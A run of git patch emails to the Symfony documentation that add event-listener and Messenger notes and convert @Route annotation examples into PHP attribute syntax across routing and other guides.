+        public function __invoke(CustomEvent $event): void
+        {
+            // ...
+        }
+    }
+
+You can add multiple ``#[AsEventListener()]`` attributes to configure different methods::
+
+    namespace App\EventListener;
+
+    use Symfony\Component\EventDispatcher\Attribute\AsEventListener;
+
+    #[AsEventListener(event: CustomEvent::class, method: 'onCustomEvent')]
+    #[AsEventListener(event: 'foo', priority: 42)]
+    #[AsEventListener(event: 'bar', method: 'onBarEvent')]
+    final class MyMultiListener
+    {
+        public function onCustomEvent(CustomEvent $event): void
+        {
+            // ...
+        }
+
+        public function onFoo(): void
+        {
+            // ...
+        }
+
+        public function onBarEvent(): void
+        {
+            // ...
+        }
+    }
+
 .. _events-subscriber:
 
 Creating an Event Subscriber

From 534e5873c2e73248a6c3cd530a59dfe6a41be322 Mon Sep 17 00:00:00 2001
From: Alexis Urien <alexis.urien@free.fr>
Date: Thu, 16 Jun 2022 15:39:20 +0200
Subject: [PATCH 3549/7107] [Messenger] Add an info about redeliver_timeout
 (doctrine)

---
 messenger.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 65941a449f5..77c0e8bcf4e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1361,6 +1361,11 @@ auto_setup          Whether the table should be created
                     automatically during send / get.       true
 ==================  =====================================  ======================
 
+
+.. note::
+
+    ``redeliver_timeout`` must be set to a greater value than your slowest message duration. Failing to do so will result in messages being started a second time while the first one is still running.
+
 .. versionadded:: 5.1
 
     The ability to leverage PostgreSQL's LISTEN/NOTIFY was introduced

From 281fda0209aa87ad4a5864c737bd07180ca71fa5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Aug 2022 17:42:05 +0200
Subject: [PATCH 3550/7107] Tweak

---
 messenger.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 6de16d4204e..0194b11fd11 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1361,10 +1361,11 @@ auto_setup          Whether the table should be created
                     automatically during send / get.       true
 ==================  =====================================  ======================
 
-
 .. note::
 
-    ``redeliver_timeout`` must be set to a greater value than your slowest message duration. Failing to do so will result in messages being started a second time while the first one is still running.
+    Set ``redeliver_timeout`` to a greater value than your slowest message
+    duration. Otherwise, some messages will start a second time while the
+    first one is still being handled.
 
 .. versionadded:: 5.1
 

From 178a6cd6ddee1809c455df3161ebc40549f0659b Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 9 Aug 2022 23:27:52 +0200
Subject: [PATCH 3551/7107] Adding info about clearing cache

I'm just *guessing* this - please double-check!
---
 rate_limiter.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 65a0243e5e8..5bebfd0efa3 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -363,11 +363,12 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
 Storing Rate Limiter State
 --------------------------
 
-All rate limiter policies require to store their state(e.g. how many hits were
+All rate limiter policies require to store their state (e.g. how many hits were
 already made in the current time window). By default, all limiters use the
 ``cache.rate_limiter`` cache pool created with the :doc:`Cache component </cache>`.
+This means that every time you clear the cache, the rate limiter will be reset.
 
-Use the ``cache_pool`` option to override the cache used by a specific limiter
+You can use the ``cache_pool`` option to override the cache used by a specific limiter
 (or even :ref:`create a new cache pool <cache-create-pools>` for it):
 
 .. configuration-block::

From f5a5f6248840cc09efb48150290c7d654de4a657 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 10 Aug 2022 09:40:33 +0200
Subject: [PATCH 3552/7107] remove git conflict markers

---
 components/browser_kit.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 488bc44d385..b6cfa98d4a0 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -343,15 +343,12 @@ dedicated web crawler or scraper such as `Goutte`_::
         '.table-list-header-toggle a:nth-child(1)'
     )->text());
 
-<<<<<<< HEAD
 .. tip::
 
     You can also use HTTP client options like ``ciphers``, ``auth_basic`` and
     ``query``. They have to be passed as the default options argument to the
     client which is used by the HTTP browser.
 
-=======
->>>>>>> 4f790b856 ([BrowserKit] Add response management to BrowserKit documentation)
 Dealing with HTTP responses
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 39536a106ea7773330ee0566941f6df08f4f9d47 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 10 Aug 2022 14:33:05 +0200
Subject: [PATCH 3553/7107] Minor: Deleting link

The link text was wrong:

> See How to Write a Custom Authenticator below for a detailed look into the authentication process.
---
 security/custom_authenticator.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index bc2f116bbc4..e0513ce8947 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -143,9 +143,8 @@ The ``authenticate()`` method is the most important method of the
 authenticator. Its job is to extract credentials (e.g. username &
 password, or API tokens) from the ``Request`` object and transform these
 into a security
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`.
-See :ref:`security-passport` below for a detailed look into the
-authentication process.
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`
+(see below).
 
 After the authentication process finished, the user is either authenticated
 or there was something wrong (e.g. incorrect password). The authenticator

From 695332cceef2979d37d95c0f472c78d5833f5354 Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Wed, 10 Aug 2022 15:23:56 +0200
Subject: [PATCH 3554/7107] Replace Route annotations with attributes, remove
 Route annotation configuration block

---
 configuration/micro_kernel_trait.rst |   4 +-
 controller/service.rst               |  37 --
 controller/soap_web_service.rst      |   4 +-
 controller/upload_file.rst           |   4 +-
 lock.rst                             |   8 +-
 notifier/chatters.rst                |   4 +-
 notifier/texters.rst                 |   4 +-
 page_creation.rst                    |  22 +-
 quick_tour/flex_recipes.rst          |   8 +-
 quick_tour/the_architecture.rst      |   8 +-
 quick_tour/the_big_picture.rst       |  10 +-
 reference/forms/types/datetime.rst   |   2 +-
 routing.rst                          | 489 +--------------------------
 routing/custom_route_loader.rst      |  30 +-
 security.rst                         |  20 --
 security/login_link.rst              |  37 +-
 security/voters.rst                  |   8 +-
 service_container.rst                |   4 +-
 service_container/autowiring.rst     |   4 +-
 templates.rst                        |  28 --
 translation/locale.rst               |  22 --
 21 files changed, 57 insertions(+), 700 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 856ef3bb92e..b1d6af27076 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -256,9 +256,7 @@ has one file in it::
 
     class MicroController extends AbstractController
     {
-        /**
-         * @Route("/random/{limit}")
-         */
+        #[Route('/random/{limit}')]
         public function randomNumber(int $limit): Response
         {
             $number = random_int(0, $limit);
diff --git a/controller/service.rst b/controller/service.rst
index 017b99c61c1..5f259c08b07 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -39,24 +39,6 @@ a service like: ``App\Controller\HelloController::index``:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/HelloController.php
-        namespace App\Controller;
-
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class HelloController
-        {
-            /**
-             * @Route("/hello", name="hello", methods={"GET"})
-             */
-            public function index()
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/HelloController.php
@@ -118,25 +100,6 @@ which is a common practice when following the `ADR pattern`_
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/Hello.php
-        namespace App\Controller;
-
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        /**
-         * @Route("/hello/{name}", name="hello")
-         */
-        class Hello
-        {
-            public function __invoke($name = 'World')
-            {
-                return new Response(sprintf('Hello %s!', $name));
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/Hello.php
diff --git a/controller/soap_web_service.rst b/controller/soap_web_service.rst
index effa613c1c5..9675d05e2a4 100644
--- a/controller/soap_web_service.rst
+++ b/controller/soap_web_service.rst
@@ -66,9 +66,7 @@ can be retrieved via ``/soap?wsdl``::
 
     class HelloServiceController extends AbstractController
     {
-        /**
-         * @Route("/soap")
-         */
+        #[Route('/soap')]
         public function index(HelloService $helloService)
         {
             $soapServer = new \SoapServer('/path/to/hello.wsdl');
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 8f64fb10f80..b962710ca8f 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -133,9 +133,7 @@ Finally, you need to update the code of the controller that handles the form::
 
     class ProductController extends AbstractController
     {
-        /**
-         * @Route("/product/new", name="app_product_new")
-         */
+        #[Route('/product/new', name: 'app_product_new')]
         public function new(Request $request, SluggerInterface $slugger)
         {
             $product = new Product();
diff --git a/lock.rst b/lock.rst
index 688bc3b8c0a..8ca227cd9d0 100644
--- a/lock.rst
+++ b/lock.rst
@@ -171,9 +171,7 @@ To lock the default resource, autowire the lock factory using
 
     class PdfController extends AbstractController
     {
-        /**
-         * @Route("/download/terms-of-use.pdf")
-         */
+        #[Route('/download/terms-of-use.pdf')]
         public function downloadPdf(LockFactory $factory, MyPdfGeneratorService $pdf)
         {
             $lock = $factory->createLock('pdf-creation');
@@ -212,9 +210,7 @@ processes asking for the same ``$version``::
 
     class PdfController extends AbstractController
     {
-        /**
-         * @Route("/download/{version}/terms-of-use.pdf")
-         */
+        #[Route('/download/{version}/terms-of-use.pdf')]
         public function downloadPdf($version, LockFactory $lockFactory, MyPdfGeneratorService $pdf)
         {
             $lock = $lockFactory->createLock($version);
diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index 65cfa7acd64..972f89885fe 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -17,9 +17,7 @@ you to send messages to chat services like Slack or Telegram::
 
     class CheckoutController extends AbstractController
     {
-        /**
-         * @Route("/checkout/thankyou")
-         */
+        #[Route('/checkout/thankyou')]
         public function thankyou(ChatterInterface $chatter)
         {
             $message = (new ChatMessage('You got a new invoice for 15 EUR.'))
diff --git a/notifier/texters.rst b/notifier/texters.rst
index a2cec96012f..6e1590ef90c 100644
--- a/notifier/texters.rst
+++ b/notifier/texters.rst
@@ -16,9 +16,7 @@ you to send SMS messages::
 
     class SecurityController
     {
-        /**
-         * @Route("/login/success")
-         */
+        #[Route('/login/success')]
         public function loginSuccess(TexterInterface $texter)
         {
             $sms = new SmsMessage(
diff --git a/page_creation.rst b/page_creation.rst
index d30bf994954..f6ac7b9b1c9 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -106,24 +106,6 @@ You can now add your route directly *above* the controller:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/LuckyController.php
-
-        // ...
-        + use Symfony\Component\Routing\Annotation\Route;
-
-        class LuckyController
-        {
-        +   /**
-        +    * @Route("/lucky/number")
-        +    */
-            public function number(): Response
-            {
-                // this looks exactly the same
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/LuckyController.php
@@ -257,9 +239,7 @@ variable so you can use it in Twig::
 
     class LuckyController extends AbstractController
     {
-        /**
-         * @Route("/lucky/number")
-         */
+        #[Route('/lucky/number')]
         public function number(): Response
         {
             $number = random_int(0, 100);
diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index 7135c6b3ecd..c4ab8af488d 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -86,9 +86,7 @@ Thanks to Flex, after one command, you can start using Twig immediately:
     - class DefaultController
     + class DefaultController extends AbstractController
       {
-           /**
-            * @Route("/hello/{name}")
-            */
+           #[Route('/hello/{name}')]
            public function index($name)
            {
     -        return new Response("Hello $name!");
@@ -165,9 +163,7 @@ Are you building an API? You can already return JSON from any controller::
     {
         // ...
 
-        /**
-         * @Route("/api/hello/{name}")
-         */
+        #[Route('/api/hello/{name}')]
         public function apiExample($name)
         {
             return $this->json([
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 5899a73bc66..1c0265b6791 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -31,9 +31,7 @@ use the logger in a controller, add a new argument type-hinted with ``LoggerInte
 
     class DefaultController extends AbstractController
     {
-        /**
-         * @Route("/hello/{name}")
-         */
+        #[Route('/hello/{name}')]
         public function index($name, LoggerInterface $logger)
         {
             $logger->info("Saying hello to $name!");
@@ -115,9 +113,7 @@ Great! You can use this immediately in your controller::
 
     class DefaultController extends AbstractController
     {
-        /**
-         * @Route("/hello/{name}")
-         */
+        #[Route('/hello/{name}')]
         public function index($name, LoggerInterface $logger, GreetingGenerator $generator)
         {
             $greeting = $generator->getRandomGreeting();
diff --git a/quick_tour/the_big_picture.rst b/quick_tour/the_big_picture.rst
index 34ebc1e1b96..7e704fee0da 100644
--- a/quick_tour/the_big_picture.rst
+++ b/quick_tour/the_big_picture.rst
@@ -164,15 +164,13 @@ Instead, add the route *right above* the controller method:
 
       class DefaultController
       {
-    +    /**
-    +     * @Route("/hello/{name}")
-    +     */
+    +      #[Route('/hello/{name}')]
            public function index($name) {
                // ...
            }
       }
 
-This works just like before! But by using annotations, the route and controller
+This works just like before! But by using attributes, the route and controller
 live right next to each other. Need another page? Add another route and method
 in ``DefaultController``::
 
@@ -187,9 +185,7 @@ in ``DefaultController``::
     {
         // ...
 
-        /**
-         * @Route("/simplicity")
-         */
+        #[Route('/simplicity')]
         public function simple()
         {
             return new Response('Simple! Easy! Great!');
diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst
index c189aceb2a6..524e61c8792 100644
--- a/reference/forms/types/datetime.rst
+++ b/reference/forms/types/datetime.rst
@@ -13,7 +13,7 @@ the data can be a ``DateTime`` object, a string, a timestamp or an array.
 +---------------------------+-----------------------------------------------------------------------------+
 | Underlying Data Type      | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
 +---------------------------+-----------------------------------------------------------------------------+
-| Rendered as               | single text box or five select fields                                      |
+| Rendered as               | single text box or five select fields                                       |
 +---------------------------+-----------------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid date and time.                                         |
 +---------------------------+-----------------------------------------------------------------------------+
diff --git a/routing.rst b/routing.rst
index 333c75736c0..cbb7283b93d 100644
--- a/routing.rst
+++ b/routing.rst
@@ -15,45 +15,36 @@ provides other useful features, like generating SEO-friendly URLs (e.g.
 Creating Routes
 ---------------
 
-Routes can be configured in YAML, XML, PHP or using either attributes or
-annotations. All formats provide the same features and performance, so choose
+Routes can be configured in YAML, XML, PHP or using attributes.
+All formats provide the same features and performance, so choose
 your favorite.
 :ref:`Symfony recommends attributes <best-practice-controller-annotations>`
 because it's convenient to put the route and controller in the same place.
 
-Creating Routes as Attributes or Annotations
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Creating Routes as Attributes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-PHP attributes and annotations allow to define routes next to the code of the
+PHP attributes allow to define routes next to the code of the
 :doc:`controllers </controller>` associated to those routes. Attributes are
 native in PHP 8 and higher versions, so you can use them right away.
 
-In PHP 7 and earlier versions you can use annotations (via the Doctrine Annotations
-library), but first you'll need to install the following dependency in your project:
-
-.. code-block:: terminal
-
-    $ composer require doctrine/annotations
-
-Regardless of what you use (attributes or annotations) you need to add a bit of
-configuration to your project before using them. If your project uses
+You need to add a bit of configuration to your project before using them. If your project uses
 :ref:`Symfony Flex <symfony-flex>`, this file is already created for you.
-Otherwise, create the following file manually (the ``type: annotation`` option
-also applies to attributes, so you can keep it):
+Otherwise, create the following file manually:
 
 .. code-block:: yaml
 
-    # config/routes/annotations.yaml
+    # config/routes/attributes.yaml
     controllers:
         resource: ../../src/Controller/
-        type: annotation
+        type: attribute
 
     kernel:
         resource: ../../src/Kernel.php
-        type: annotation
+        type: attribute
 
 This configuration tells Symfony to look for routes defined as
-annotations/attributes in any PHP class stored in the ``src/Controller/``
+attributes in any PHP class stored in the ``src/Controller/``
 directory.
 
 Suppose you want to define a route for the ``/blog`` URL in your application. To
@@ -61,25 +52,6 @@ do so, create a :doc:`controller class </controller>` like the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/BlogController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class BlogController extends AbstractController
-        {
-            /**
-             * @Route("/blog", name="blog_list")
-             */
-            public function list()
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/BlogController.php
@@ -193,34 +165,6 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/BlogApiController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class BlogApiController extends AbstractController
-        {
-            /**
-             * @Route("/api/posts/{id}", methods={"GET","HEAD"})
-             */
-            public function show(int $id): Response
-            {
-                // ... return a JSON response with the post
-            }
-
-            /**
-             * @Route("/api/posts/{id}", methods={"PUT"})
-             */
-            public function edit(int $id): Response
-            {
-                // ... edit a post
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/BlogApiController.php
@@ -309,33 +253,6 @@ arbitrary matching logic:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/DefaultController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class DefaultController extends AbstractController
-        {
-            /**
-             * @Route(
-             *     "/contact",
-             *     name="contact",
-             *     condition="context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'"
-             * )
-             *
-             * expressions can also include configuration parameters:
-             * condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
-             */
-            public function contact(): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/DefaultController.php
@@ -497,31 +414,6 @@ defined as ``/blog/{slug}``:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/BlogController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class BlogController extends AbstractController
-        {
-            // ...
-
-            /**
-             * @Route("/blog/{slug}", name="blog_show")
-             */
-            public function show(string $slug): Response
-            {
-                // $slug will equal the dynamic part of the URL
-                // e.g. at /blog/yay-routing, then $slug='yay-routing'
-
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/BlogController.php
@@ -601,34 +493,6 @@ the ``{page}`` parameter using the ``requirements`` option:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/BlogController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class BlogController extends AbstractController
-        {
-            /**
-             * @Route("/blog/{page}", name="blog_list", requirements={"page"="\d+"})
-             */
-            public function list(int $page): Response
-            {
-                // ...
-            }
-
-            /**
-             * @Route("/blog/{slug}", name="blog_show")
-             */
-            public function show(string $slug): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/BlogController.php
@@ -737,26 +601,6 @@ concise, but it can decrease route readability when requirements are complex:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/BlogController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class BlogController extends AbstractController
-        {
-            /**
-             * @Route("/blog/{page<\d+>}", name="blog_list")
-             */
-            public function list(int $page): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/BlogController.php
@@ -824,26 +668,6 @@ other configuration formats they are defined with the ``defaults`` option:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/BlogController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class BlogController extends AbstractController
-        {
-            /**
-             * @Route("/blog/{page}", name="blog_list", requirements={"page"="\d+"})
-             */
-            public function list(int $page = 1): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/BlogController.php
@@ -929,26 +753,6 @@ parameter:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/BlogController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class BlogController extends AbstractController
-        {
-            /**
-             * @Route("/blog/{page<\d+>?1}", name="blog_list")
-             */
-            public function list(int $page): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/BlogController.php
@@ -1020,37 +824,6 @@ optional ``priority`` parameter in those routes to control their priority:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/BlogController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class BlogController extends AbstractController
-        {
-            /**
-             * This route has a greedy pattern and is defined first.
-             *
-             * @Route("/blog/{slug}", name="blog_show")
-             */
-            public function show(string $slug)
-            {
-                // ...
-            }
-
-            /**
-             * This route could not be matched without defining a higher priority than 0.
-             *
-             * @Route("/blog/list", name="blog_list", priority=2)
-             */
-            public function list()
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/BlogController.php
@@ -1112,9 +885,7 @@ controller action. Instead of ``string $slug``, add ``BlogPost $post``::
     {
         // ...
 
-        /**
-         * @Route("/blog/{slug}", name="blog_show")
-         */
+        #[Roue('/blog/{slug}', name: 'blog_show')]
         public function show(BlogPost $post): Response
         {
             // $post is the object whose slug matches the routing parameter
@@ -1162,33 +933,6 @@ and in route imports. Symfony defines some special attributes with the same name
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/ArticleController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class ArticleController extends AbstractController
-        {
-            /**
-             * @Route(
-             *     "/articles/{_locale}/search.{_format}",
-             *     locale="en",
-             *     format="html",
-             *     requirements={
-             *         "_locale": "en|fr",
-             *         "_format": "html|xml",
-             *     }
-             * )
-             */
-            public function search(): Response
-            {
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/ArticleController.php
@@ -1272,26 +1016,6 @@ the controllers of the routes:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/BlogController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class BlogController extends AbstractController
-        {
-            /**
-             * @Route("/blog/{page}", name="blog_index", defaults={"page": 1, "title": "Hello world!"})
-             */
-            public function index(int $page, string $title): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/BlogController.php
@@ -1365,26 +1089,6 @@ A possible solution is to change the parameter requirements to be more permissiv
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/DefaultController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class DefaultController extends AbstractController
-        {
-            /**
-             * @Route("/share/{token}", name="share", requirements={"token"=".+"})
-             */
-            public function share($token): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/DefaultController.php
@@ -1575,44 +1279,13 @@ It's common for a group of routes to share some options (e.g. all routes related
 to the blog start with ``/blog``) That's why Symfony includes a feature to share
 route configuration.
 
-When defining routes as attributes or annotations, put the common configuration
-in the ``#[Route]`` attribute (or ``@Route`` annotation) of the controller
-class. In other routing formats, define the common configuration using options
+When defining routes as attributes, put the common configuration
+in the ``#[Route]`` attribute of the controller class.
+In other routing formats, define the common configuration using options
 when importing the routes.
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/BlogController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        /**
-         * @Route("/blog", requirements={"_locale": "en|es|fr"}, name="blog_")
-         */
-        class BlogController extends AbstractController
-        {
-            /**
-             * @Route("/{_locale}", name="index")
-             */
-            public function index(): Response
-            {
-                // ...
-            }
-
-            /**
-             * @Route("/{_locale}/posts/{slug}", name="show")
-             */
-            public function show(Post $post): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/BlogController.php
@@ -1799,9 +1472,7 @@ information in a controller via the ``Request`` object::
 
     class BlogController extends AbstractController
     {
-        /**
-         * @Route("/blog", name="blog_list")
-         */
+        #[Route('/blog', name: 'blog_list')]
         public function list(Request $request): Response
         {
             $routeName = $request->attributes->get('_route');
@@ -1984,34 +1655,6 @@ host name:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/MainController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class MainController extends AbstractController
-        {
-            /**
-             * @Route("/", name="mobile_homepage", host="m.example.com")
-             */
-            public function mobileHomepage(): Response
-            {
-                // ...
-            }
-
-            /**
-             * @Route("/", name="homepage")
-             */
-            public function homepage(): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/MainController.php
@@ -2088,40 +1731,6 @@ multi-tenant applications) and these parameters can be validated too with
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/MainController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class MainController extends AbstractController
-        {
-            /**
-             * @Route(
-             *     "/",
-             *     name="mobile_homepage",
-             *     host="{subdomain}.example.com",
-             *     defaults={"subdomain"="m"},
-             *     requirements={"subdomain"="m|mobile"}
-             * )
-             */
-            public function mobileHomepage(): Response
-            {
-                // ...
-            }
-
-            /**
-             * @Route("/", name="homepage")
-             */
-            public function homepage(): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/MainController.php
@@ -2250,29 +1859,6 @@ avoids the need for duplicating routes, which also reduces the potential bugs:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/CompanyController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class CompanyController extends AbstractController
-        {
-            /**
-             * @Route({
-             *     "en": "/about-us",
-             *     "nl": "/over-ons"
-             * }, name="about_us")
-             */
-            public function about(): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/CompanyController.php
@@ -2453,25 +2039,6 @@ session shouldn't be used when matching a request:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/MainController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class MainController extends AbstractController
-        {
-            /**
-             * @Route("/", name="homepage", stateless=true)
-             */
-            public function homepage()
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/MainController.php
@@ -2564,9 +2131,7 @@ use the ``generateUrl()`` helper::
 
     class BlogController extends AbstractController
     {
-        /**
-         * @Route("/blog", name="blog_list")
-         */
+        #[Route('/blog', name: 'blog_list')]
         public function list(): Response
         {
             // generate a URL with no route arguments
@@ -2852,26 +2417,6 @@ each route explicitly:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Controller/SecurityController.php
-        namespace App\Controller;
-
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class SecurityController extends AbstractController
-        {
-            /**
-             * @Route("/login", name="login", schemes={"https"})
-             */
-            public function login(): Response
-            {
-                // ...
-            }
-        }
-
